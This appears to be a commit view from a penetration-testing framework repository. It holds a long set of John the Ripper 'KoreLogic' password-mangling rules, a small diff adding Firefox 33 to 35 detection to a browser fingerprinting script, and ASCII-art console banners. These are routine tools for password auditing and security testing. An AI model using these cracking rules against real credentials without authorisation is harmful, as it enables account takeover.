;-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesAppendJustSpecials]
-[c:] <* \p[c:] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]
-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q
;[List.Rules:KoreLogicRulesAddShortMonthsEverywhere]
<* >\r[00123456789] A\p[z0-9]"[jJ][aA][nN]"
<* >\r[00123456789] A\p[z0-9]"[fF][eE][bB]"
<* >\r[00123456789] A\p[z0-9]"[mM][aA][rRyY]"
<* >\r[00123456789] A\p[z0-9]"[aA][pP][rR]"
<* >\r[00123456789] A\p[z0-9]"[jJ][uU][nNlL]"
<* >\r[00123456789] A\p[z0-9]"[aA][uU][gG]"
<* >\r[00123456789] A\p[z0-9]"[sS][eE][pP]"
<* >\r[00123456789] A\p[z0-9]"[oO][cC][tT]"
<* >\r[00123456789] A\p[z0-9]"[nN][oO][vV]"
<* >\r[00123456789] A\p[z0-9]"[dD][eE][cC]"
# this will add the string '2010' at all places in the word:
# USE this with a 4 or 5 char dictionary file with ALL characters
# soo abcde will become
# 2010abcde a2010bcde ab2010cde acd2010de abcd2010e abcde2010
;[List.Rules:KoreLogicRulesAdd2010Everywhere]
<* >\r[00123456789] A\p[z0-9]"201[0-9]"
;[List.Rules:KoreLogicRulesAdd1234_Everywhere]
<* >\r[00123456789] A\p[z0-9]"1234"
;[List.Rules:KoreLogicRulesAppendMonthDay]
-[:c] <* Az"\p[jJ]anuary"
-[:c] Az"\p[jJ]anuary[0-9]" <+
-[:c] Az"\p[jJ]anuary[0-9][0-9]" <+
-[:c] <* Az"\p[fF]ebruary"
-[:c] Az"\p[fF]ebruary[0-9]" <+
-[:c] Az"\p[fF]ebruary[0-9][0-9]" <+
-[:c] Az"\p[mM]arch"
-[:c] Az"\p[mM]arch[0-9]" <+
-[:c] Az"\p[mM]arch[0-9][0-9]" <+
-[:c] <* Az"\p[aA]pril"
-[:c] Az"\p[aA]pril[0-9]" <+
-[:c] Az"\p[aA]pril[0-9][0-9]" <+
-[:c] <* Az"\p[mM]ay"
-[:c] Az"\p[mM]ay[0-9]" <+
-[:c] Az"\p[mM]ay[0-9][0-9]" <+
-[:c] <* Az"\p[jJ]une"
-[:c] Az"\p[jJ]une[0-9]" <+
# There was a typo in Kore's original revision of this rule
-[:c] Az"\p[jJ]une[0-9][0-9]" <+
-[:c] <* Az"\p[jJ]uly"
-[:c] Az"\p[jJ]uly[0-9]" <+
-[:c] Az"\p[jJ]uly[0-9][0-9]" <+
-[:c] <* Az"\p[aA]ugust"
-[:c] Az"\p[aA]ugust[0-9]" <+
-[:c] Az"\p[aA]ugust[0-9][0-9]" <+
-[:c] <* Az"\p[sS]eptember"
-[:c] Az"\p[sS]eptember[0-9]" <+
# There was a typo in Kore's original revision of this rule
-[:c] Az"\p[sS]eptember[0-9][0-9]" <+
-[:c] <* Az"\p[oO]ctober"
-[:c] Az"\p[oO]ctober[0-9]" <+
-[:c] Az"\p[oO]ctober[0-9][0-9]" <+
-[:c] <* Az"\p[nN]ovember"
-[:c] Az"\p[nN]ovember[0-9]" <+
-[:c] Az"\p[nN]ovember[0-9][0-9]" <+
-[:c] <* Az"\p[dD]ecember"
-[:c] Az"\p[dD]ecember[0-9]" <+
-[:c] Az"\p[dD]ecember[0-9][0-9]" <+
;[List.Rules:KoreLogicRulesAppendMonthCurrentYear]
-[:c] <* Az"\p[jJ]an201[0-9]"
-[:c] <* Az"\p[fF]eb201[0-9]"
-[:c] <* Az"\p[mM]ar201[0-9]"
-[:c] <* Az"\p[aA]pr201[0-9]"
-[:c] <* Az"\p[mM]ay201[0-9]"
-[:c] <* Az"\p[jJ]un201[0-9]"
-[:c] <* Az"\p[jJ]ul201[0-9]"
-[:c] <* Az"\p[Aa]ug201[0-9]"
-[:c] <* Az"\p[sS]ep201[0-9]"
-[:c] <* Az"\p[oO]ct201[0-9]"
-[:c] <* Az"\p[nN]ov201[0-9]"
-[:c] <* Az"\p[Dd]ec201[0-9]"
;[List.Rules:KoreLogicRulesReplaceNumbers2Special]
/[1-90] s\0\p[!@#$%^&*()]
/1 /[2-90] s1! s\0\p[@#$%^&*()]
/2 /[3-90] s2@ s\0\p[#$%^&*()]
/3 /[4-90] s3# s\0\p[$%^&*()]
/4 /[5-90] s4$ s\0\p[%^&*()]
/5 /[6-90] s5% s\0\p[^&*()]
/6 /[7-90] s6^ s\0\p[&*()]
/7 /[890] s7& s\0\p[*()]
/8 /[90] s8* s\0\p[()]
/9 /0 s9( s0)
;[List.Rules:KoreLogicRulesReplaceNumbers]
/0 s0[1-9]
/1 s1[02-9]
/2 s2[013-9]
/3 s3[0-24-9]
/4 s4[0-35-9]
/5 s5[0-46-9]
/6 s6[0-57-9]
/7 s7[0-68-9]
/8 s8[0-79]
/9 s9[0-8]
# 10 lines above can be replaced with just one:
# /[0-9] s\0[0-9] Q
# but it's slower (generates, then rejects some duplicates).
# This is a lamer/faster version of --rules:nt
;[List.Rules:KoreLogicRulesReplaceLettersCaps]
-c /[a-z] s\0\p[A-Z]
;[List.Rules:KoreLogicRulesAddDotCom]
-[c:] <- \p[c:] Az".com"
-[c:] <- \p[c:] Az".net"
-[c:] <- \p[c:] Az".org"
;[List.Rules:KoreLogicRulesPrependJustSpecials]
-[c:] \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]
-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q
;[List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere]
-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1
-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1
;[List.Rules:KoreLogicRulesAppendNum_AddSpecialEverywhere]
# This should probably use $[02-9] since we try $1 in
# KoreLogicRulesAppend1_AddSpecialEverywhere
-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9]
-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9]
;[List.Rules:KoreLogicRulesAppendNumNum_AddSpecialEverywhere]
-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+
-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+
;[List.Rules:KoreLogicRulesAppendNumNumNum_AddSpecialEverywhere]
-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+
-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+
;[List.Rules:KoreLogicRulesAppendYears_AddSpecialEverywhere]
-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+
-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+
-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+
-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+
# This rule needs work actually --- you have to 'sort -u' its output rick
# /a = reject if it doesnt have an 'a'
# the [:c] does waste some effort - and generate dupes. This is wasteful,
# but I want to keep it in b/c the original crack/JtR rules use it.
;[List.Rules:KoreLogicRulesL33t]
-[:c] /\r[aaAAbBeEiiiIIIllll] s\0\r\p[@44@88331!|1!|17|!] \p1[:M] \p1[:c] \p1[:Q]
# The following line differs from Kore's erroneous 4 lines:
-[:c] /\r[LLLL] s\0\r\p[17|!] \p1[:M] \p1[:c] \p1[:Q]
#/Lsl1[:c]
#/Lsl7[:c]
#/Lsl|[:c]
#/Lsl![:c]
-[:c] /\r[oOssSStT1111003344557788] s\0\r\p[00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
# Full set (same as above, but on one line):
#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
# Double substitutions start here.
# Compared to Kore's, we check for both chars first, then replace both.
# This produces different results from Kore's, which would replace all
# instances of the first char before checking for the second.
# Kore's behavior may be restored by moving "sa[@4]" to be right after "/a"
# on the line below, and ditto for further lines.
-[:c] /a /\r[AAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] sa[@4] s\2\r\p2[4@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
# Kore had these (probably unintentionally, so we don't duplicate them):
#/asa4/4s4a[:c]
#/asa4/4s4A[:c]
-[:c] /A /\r[aabBeEiiiIIIllllLLLLoOssSStT1111003344557788] sA4 s\0\r\p[@488331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
# Kore also had these, but (intentionally?) missed sb8 on this set (after sA4)
#/AsA4/4s4a[:c]
#/AsA4/4s4A[:c]
-[:c] /b /\r[aaAABeEiiiIIIllllLLLLoOssSStT1111003344557788] sb8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /B /\r[aaAAbeEiiiIIIllllLLLLoOssSStT1111003344557788] sB8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /e /\r[aaAAbBEiiiIIIllllLLLLoOssSStT1111003344557788] se3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /E /\r[aaAAbBeiiiIIIllllLLLLoOssSStT1111003344557788] sE3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /i /\r[aaAAbBeEIIIllllLLLLoOssSStT1111003344557788] si[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /I /\r[aaAAbBeEiiillllLLLLoOssSStT1111003344557788] sI[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
# Kore's rules only included sl[17|], but not sl!
-[:c] /l /\r[aaAAbBeEiiiIIILLLLoOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
# All "/L" rules (171 lines) were buggy
-[:c] /L /\r[aaAAbBeEiiiIIIlllloOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /o /\r[aaAAbBeEiiiIIIllllLLLLOssSStT1111003344557788] so0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /O /\r[aaAAbBeEiiiIIIllllLLLLossSStT1111003344557788] sO0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /s /\r[aaAAbBeEiiiIIIllllLLLLoOSStT1111003344557788] ss[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /S /\r[aaAAbBeEiiiIIIllllLLLLoOsstT1111003344557788] sS[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /t /\r[aaAAbBeEiiiIIIllllLLLLoOssSST1111003344557788] st+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /T /\r[aaAAbBeEiiiIIIllllLLLLoOssSSt1111003344557788] sT+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /1 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT003344557788] s1[!iI|] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /0 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11113344557788] s0[oO] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|eEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /3 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110044557788] s3[eE] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /4 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033557788] s4[aA] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /5 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033447788] s5[sS] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAlLbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /7 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445588] s7[lL] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSbB] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /8 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445577] s8[bB] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlL] \p1[:M] \p1[:c] \p1[:Q]
# These are some popular triple/quad l33t rules
-[:c] /a /e /[los] sa4 se3 s\0\p[10$] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /[ae] /l /[os] s\2\p2[43] sl1 s\3\p3[0$] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /[ae] /o /s s\2\p2[43] so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
-[:c] /l /o /s sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
-[:c] /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] \p1[:M] \p1[:c] \p1[:Q]
-[:c] /a /[el] /o /s sa4 s\0\p[31] so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
-[:c] /e /l /o /s se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
-[:c] /a /e /l /o /s sa4 se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
;[List.Rules:KoreLogicRulesReplaceSpecial2Special]
# Kore's rules were missing "*"
/! s![@#$%^&*()\-=_+\\|;:'",./?><]
/@ s@[!#$%^&*()\-=_+\\|;:'",./?><]
/# s#[!@$%^&*()\-=_+\\|;:'",./?><]
/$ s$[!@#%^&*()\-=_+\\|;:'",./?><]
/% s%[!@#$^&*()\-=_+\\|;:'",./?><]
/^ s^[!@#$%&*()\-=_+\\|;:'",./?><]
/& s&[!@#$%^*()\-=_+\\|;:'",./?><]
/( s([!@#$%^&*)\-=_+\\|;:'",./?><]
/) s([!@#$%^&*(\-=_+\\|;:'",./?><]
# Kore's ruleset erroneously had:
#/-s--
/- s-[!@#$%^&*()=_+\\|;:'",./?><]
/= s=[!@#$%^&*()\-_+\\|;:'",./?><]
/_ s_[!@#$%^&*()\-=+\\|;:'",./?><]
/+ s+[!@#$%^&*()\-=_\\|;:'",./?><]
# Kore's rules did not replace backslash
/\\ s\\[!@#$%^&*()\-=_+|;:'",./?><]
/| s|[!@#$%^&*()\-=_+\\;:'",./?><]
/; s;[!@#$%^&*()\-=_+\\|:'",./?><]
/: s:[!@#$%^&*()\-=_+\\|;'",./?><]
/' s'[!@#$%^&*()\-=_+\\|;:",./?><]
/" s"[!@#$%^&*()\-=_+\\|;:',./?><]
/, s,[!@#$%^&*()\-=_+\\|;:'"./?><]
/. s.[!@#$%^&*()\-=_+\\|;:'",/?><]
// s/[!@#$%^&*()\-=_+\\|;:'",.?><]
/> s>[!@#$%^&*()\-=_+\\|;:'",./?<]
/< s<[!@#$%^&*()\-=_+\\|;:'",./?>]
;[List.Rules:KoreLogicRulesReplaceLetters]
/a sa[b-z]
/b sb[ac-z]
/c sc[abd-z]
/d sd[a-ce-z]
/e se[a-df-z]
/f sf[a-eg-z]
/g sg[a-fh-z]
/h sh[a-gi-z]
/i si[a-hj-z]
/j sj[a-ik-z]
/k sk[a-jl-z]
/l sl[a-km-z]
/m sm[a-ln-z]
/n sn[a-mo-z]
/o so[a-np-z]
/p sp[a-oq-z]
/q sq[a-pr-z]
/r sr[a-qs-z]
/s ss[a-rt-z]
/t st[a-su-z]
/u su[a-tv-z]
/v sv[a-uw-z]
/w sw[a-vx-z]
/x sx[a-wyz]
/y sy[a-xz]
# Kore's ruleset was truncated after "/zszr"
/z sz[a-y]
-c /[a-z] s\0[A-Z]
;[List.Rules:KoreLogicRulesAppendSpecialNumberNumber]
-[c:] \p[c:] Az"[!$@#%.][0-9][0-9]" <+
-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+
;[List.Rules:KoreLogicRulesPrependNumNumAppendSpecial]
-[c:] \p[c:] A0"[0-9][0-9]" <* $[!$@#%.]
-[c:] \p[c:] A0"[0-9][0-9]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*]
;[List.Rules:KoreLogicRulesPrependNumNumSpecial]
-[c:] \p[c:] A0"[0-9][0-9][!$@#%.]"
-[c:] \p[c:] A0q[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q
;[List.Rules:KoreLogicRulesAppend2NumSpecial]
-[c:] \p[c:] Az"[0-9][0-9][!$@#%.]" <+
-[c:] \p[c:] Azq[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesPrependDaysWeek]
A0"[Mm][oO0][nN][dD][aA4@][yY]"
A0"[Tt][uU][eE3][sS$][dD][aA4@][yY]"
A0"[Ww][eE3][dD][nN][eE3][sS$][dD][aA4@][yY]"
A0"[Tt][hH][uU][rR][sS$][dD][aA4@][yY]"
A0"[Ff][rR][iI1!][dD][aA4@][yY]"
A0"[Ss][aA4@][tT+][uU][rR][dD][aA4@][yY]"
A0"[Ss][uU][nN][dD][aA4@][yY]"
;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-3]
## Add Number Number Special
-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
## Add Special Number Number
-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+
;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumber]
-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <* $[0-9]
-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <* $[0-9]
;[List.Rules:KoreLogicRulesAppend4Num]
-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+
;[List.Rules:KoreLogicRulesPrependNumNumNumNum]
-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]"
;[List.Rules:KoreLogicRulesPrepend2NumbersAppend2Numbers]
-[c:] \p[c:] A0"[0-9][0-9]" <- Az"[0-9][0-9]"
;[List.Rules:KoreLogicRulesPrependCAPCAPAppendSpecial]
A0"[A-Z][A-Z]" <* $[!$@#%.]
A0"[A-Z][A-Z]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*]
;[List.Rules:KoreLogicRulesAppendSpecialLowerLower]
-[c:] \p[c:] AzQ[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][a-z][a-z]Q <+
# The last line of KoreLogicRulesAppendNumbers_and_Specials_Simple
;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-4]
# Add 100! ... 999! to the end
-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesAppendSpecial3num]
-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+
-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+
;[List.Rules:KoreLogicRulesAppendSpecialNumberNumberNumber]
-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+
-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+
;[List.Rules:KoreLogicRulesAppend3NumSpecial]
-[c:] \p[c:] Az"[0-9][0-9][0-9][!$@#%.]" <+
-[c:] \p[c:] Azq[0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesPrependNumNum_AppendNumSpecial]
-[c:] \p[c:] A0"[0-9][0-9]" Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesAppendJustSpecials3Times]
-[c:] \p[c:] Az"[!$@#%.][!$@#%.][!$@#%.]" <+
-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesAppendCap-Num_or_Special-Twice]
-[c:] \p[c:] Az"[A-Z][0-9][0-9]" <+
-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q <+
-[c:] \p[c:] Azq[A-Z][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumber]
-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <- Az"[0-9][0-9]"
-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <- Az"[0-9][0-9]"
;[List.Rules:KoreLogicRulesAppend5Num]
-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9]" <+
;[List.Rules:KoreLogicRulesAppendSpecial4num]
-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9][0-9]" <+
-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9][0-9]q <+
;[List.Rules:KoreLogicRulesPrepend4NumAppendSpecial]
-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- $[!$@#%.]
-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*]q
;[List.Rules:KoreLogicRulesAppend4NumSpecial]
-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][!$@#%.]" <+
-[c:] \p[c:] Azq[0-9][0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumberNumber]
-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" Az"[0-9][0-9][0-9]" <+
-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q Az"[0-9][0-9][0-9]" <+
;[List.Rules:KoreLogicRulesAppend6Num]
-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9][0-9]" <+
+7 -1
View File
@@ -222,7 +222,13 @@ os_detect.getVersion = function(){
// Thanks to developer.mozilla.org "Firefox for developers" series for most
// of these.
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
if ('copyWithin' in Array.prototype) {
if ('closest' in Element.prototype) {
ua_version = '35.0';
} else if ('matches' in Element.prototype) {
ua_version = '34.0';
} else if ('RadioNodeList' in window) {
ua_version = '33.0';
} else if ('copyWithin' in Array.prototype) {
ua_version = '32.0';
} else if ('fill' in Array.prototype) {
ua_version = '31.0';
+41
View File
@@ -0,0 +1,41 @@
%clr
%mag .~+P``````-o+:. -o+:.%clr
%mag.+oooyysyyssyyssyddh++os-````` ``````````````` `%clr
%mag+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o%clr
%mag++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy%clr
%mag--.` .-.-...-////+++++++++++++++////////~~//////++++++++++++///%clr
%mag `...............` `...-/////...`%clr
%clr
%clr
%whi .::::::::::-. .::::::-%clr
%whi .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo%clr
%whi :Nm-/NMMMMMMMMMMMMM%blu$$%whiNMMMMm%blu&&%whiMMMMMMMMMMMMMMy%clr
%whi .sm/`-yMMMMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMMMMh`%clr
%whi -Nd` :MMMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMMMh`%clr
%whi -Nh` .yMMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMMm/%clr
%whi `oo/``-hd: `` .sNd :MMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMm/%clr
%whi .yNmMMh%dred//%whi+syysso-`````` -mh` :MMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMd%clr
%whi .shMMMMN%dred//%whidmNMMMMMMMMMMMMs` `:```-o++++oooo+:/ooooo+:+o+++oooo++/%clr
%whi `///omh%dred//%whidMMMMMMMMMMMMMMMN/%dred:::::/+ooso--/ydh//+s+/ossssso:--syN///os:%clr
%whi /MMMMMMMMMMMMMMMMMMd. %dred`/++-.-yy/%whi...%dredosydh/-+oo:-`o//%whi...%dredoyodh+%clr
%whi -hMMmssddd+:dMMmNMMh. %dred`.-=mmk.%whi//^^^\\%dred.^^`:++:^^o:%whi//^^^\\%dred`::%clr
%whi .sMMmo. -dMd--:mN/` %whi||--X--||%clr %dred%whi||--X--||%clr
%whi........../yddy/:...+hmo-...hdd:............%whi\\=v=//%clr............%dred%whi\\=v=//%clr.........
%grn================================================================================%clr
%grn=====================%whi+--------------------------------+%grn=========================%clr
%grn=====================%whi| Session one died of dysentery. |%grn=========================%clr
%grn=====================%whi+--------------------------------+%grn=========================%clr
%grn================================================================================%clr
%clr
%clr %grnPress ENTER to size up the situation%clr
%clr
%whi%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr
%whi%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr
%whi%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%%clr
%whi%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr
%whi%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr
%whi%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr
%whi%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr
%clr
%clr %whiPress SPACE BAR to continue%clr
%clr
+35
View File
@@ -0,0 +1,35 @@
 _________________________________________________ 
< This console just got 20% cooler >
 ------------------------------------------------- 
/
/ 
▀▄▄▄▄▄▄▄▄ / 
▀▀▄▄▄▄▄█▄▄▄▄ / 
▄███▄▄▄▄██▄██ / 
▄██▄█▄▄█▄▄██▄███ / 
▄██▄█████▄██▄▄█▄▄ / 
▄███████▄██▄▀▀▄▄██ / 
██████████▄▄▄ ██▄█ / 
██▄███▄███ ▀▀ ████ / 
▀███▄███▄▀ ███ / 
